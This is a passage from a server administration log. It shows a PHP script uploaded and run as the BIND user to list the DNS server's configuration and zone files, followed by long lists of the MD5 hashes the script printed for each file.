MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-21 19:01:08: Establishing a connection
2026-04-21 19:01:08: 

PUT: /tmp/pkp968191

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-21 19:01:09: 

runuser -l bind -s /bin/bash -c '/tmp/pkp968191; rm /tmp/pkp968191'

2026-04-21 19:01:09: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
